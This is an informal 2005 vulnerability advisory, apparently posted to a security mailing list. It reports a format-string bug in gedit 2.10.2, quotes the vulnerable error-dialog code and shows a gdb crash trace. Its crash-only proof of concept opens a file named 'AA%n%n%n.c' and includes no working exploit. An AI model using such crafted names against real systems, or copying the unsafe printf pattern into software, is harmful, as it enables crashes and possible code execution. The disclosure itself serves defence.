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pst.advisory: gedit fun. opensource is god .lol windows
From: yan feng <jsk () ph4nt0m net>
Date: 20 May 2005 20:26:28 -0000



       pst.advisory: gedit fun. opensource is god .lol windows

                    www.ph4nt0m.org

Systems affected:

gedit 2.10.2


no affected

all exploitable

1:why: gedit is power tool .. it used to edit *.c *.pl *.py ............

when it open a bin .. ths bin's name or filename is format strings ... it is exploitable


2:tips:


void
gedit_utils_error_reporting_loading_file (
const gchar *uri,
const GeditEncoding *encoding,
GError *error,
GtkWindow *parent)
{
............ 


if (error_message == NULL)
{
if ((error == NULL) || (error->message == NULL))
error_message = g_strdup_printf (
_("Could not open the file \"%s\"."),
uri_for_display);................name
else
error_message = g_strdup_printf (
_("Could not open the file \"%s\".\n\n%s."),
uri_for_display, error->message);..........name

}

g_free (encoding_name);

dialog = gtk_message_dialog_new (
parent,
GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT,
GTK_MESSAGE_ERROR,
GTK_BUTTONS_OK,
error_message);....................boom......


3: more show

Program received signal SIGSEGV, Segmentation fault.
0x40f9b740 in gtk_window_set_transient_for () from /usr/lib/libgtk-x11-2.0.so.0
(gdb) bt
#0 0x40f9b740 in gtk_window_set_transient_for ()
from /usr/lib/libgtk-x11-2.0.so.0
#1 0x40ea33c9 in gtk_message_dialog_new () from /usr/lib/libgtk-x11-2.0.so.0
#2 0x080723a1 in gedit_utils_error_reporting_loading_file ()
#3 0x080779f8 in gedit_file_open_from_stdin ()
#4 0x00000000 in ?? ()
#5 0x083f98e8 in ?? ()
#6 0x0813f538 in ?? ()
#7 0x080ad668 in TC_GNOME_Gedit_Application_struct ()
#8 0x08339e30 in ?? ()
#9 0x00000000 in ?? ()
#10 0x41287ca1 in __default_morecore () from /lib/libc.so.6


4: A LAME proof-of-concept

bash-2.05b#cat fmtexp.c

#include <stdio.h>


int
main()
{
printf("hah gedit\n");
}


bash-2.05b#gcc -o fk fmtexp.c

bash-2.05b#mv fk AA%n%n%n.c

bash-2.05b#gedit AA%n%n%n.c

no working exploit will be here..:P



CREDIT:

jsk:exworm (www.0xbadexworm.org) discovery this vulnerability

ths: all members from PST and doris


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